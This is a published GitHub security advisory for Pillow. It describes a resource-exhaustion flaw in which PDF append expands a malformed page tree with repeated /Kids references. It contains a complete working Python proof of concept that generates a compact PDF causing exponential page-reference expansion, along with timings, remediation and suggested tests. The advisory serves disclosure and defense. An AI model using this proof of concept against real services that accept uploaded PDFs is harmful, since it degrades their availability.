Skip to content

Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

High severity GitHub Reviewed Published Oct 17, 2026 in python-pillow/Pillow

Package

pip Pillow (pip)

Affected versions

>= 5.1.0, < 13.0.0

Patched versions

13.0.0

Description

Summary

Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.

In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.

This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

Details

Affected versions

  • Package: Pillow
  • Ecosystem: pip / PyPI
  • Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling
  • Runtime-tested affected release: 12.3.0
  • Runtime-tested affected development version: 13.0.0.dev0
  • Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD
  • Likely affected range: >= 5.1.0
  • Patched versions: none known

Evidence fact strings:

  • Runtime-tested affected: 12.3.0
  • Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Source-level affected: 5.1.0
  • Source-level affected: 12.2.0
  • Source-level affected: HEAD
  • Likely affected range: >= 5.1.0, no fixed version known
  • Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.

Technical details

The reachable path is:

  1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

    Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
  2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:

    is_appending = im.encoderinfo.get("append", False)
    filename_str = filename.decode() if isinstance(filename, bytes) else filename
    if is_appending:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
    else:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
  3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:

    self.page_tree_root = self.read_indirect(self.pages_ref)
    self.pages = self.linearize_page_tree(self.page_tree_root)
    self.orig_pages = self.pages[:]
  4. linearize_page_tree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

    def linearize_page_tree(
        self, node: PdfDict | None = None
    ) -> list[IndirectReference]:
        page_node = node if node is not None else self.page_tree_root
        check_format_condition(
            page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
        )
        pages = []
        for kid in page_node[b"Kids"]:
            kid_object = self.read_indirect(kid)
            if kid_object[b"Type"] == b"Page":
                pages.append(kid)
            else:
                pages.extend(self.linearize_page_tree(node=kid_object))
        return pages
  5. During append, rewrite_pages() then iterates the expanded orig_pages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

PoC

Environment used for validation:

  • OS/runtime: Linux, Python 3.13.11
  • Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Latest release tested: Pillow 12.3.0
  • The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as poc_pillow_pdf_page_tree_dag.py:

#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Run:

python3 poc_pillow_pdf_page_tree_dag.py

Expected result:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Observed on current main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Observed on Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.

Impact

This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.

The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().

Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().

This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.

Remediation

Reject duplicate and cyclic page-tree references before constructing self.pages and self.orig_pages.

One possible fix is to pass traversal state through linearize_page_tree():

  • Track active /Pages references to reject cycles.
  • Track seen page-tree and page indirect references to reject duplicate references.
  • Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.

Suggested regression tests:

  • A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True).
  • A normal nested linear page tree should continue to append successfully.

References

@radarhere radarhere published to python-pillow/Pillow Oct 17, 2026
Published by the National Vulnerability Database Oct 21, 2026
Published to the GitHub Advisory Database Oct 22, 2026
Reviewed Oct 22, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

CVE ID

CVE-2026-96640

GHSA ID

GHSA-mrfp-p49p-3hf2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.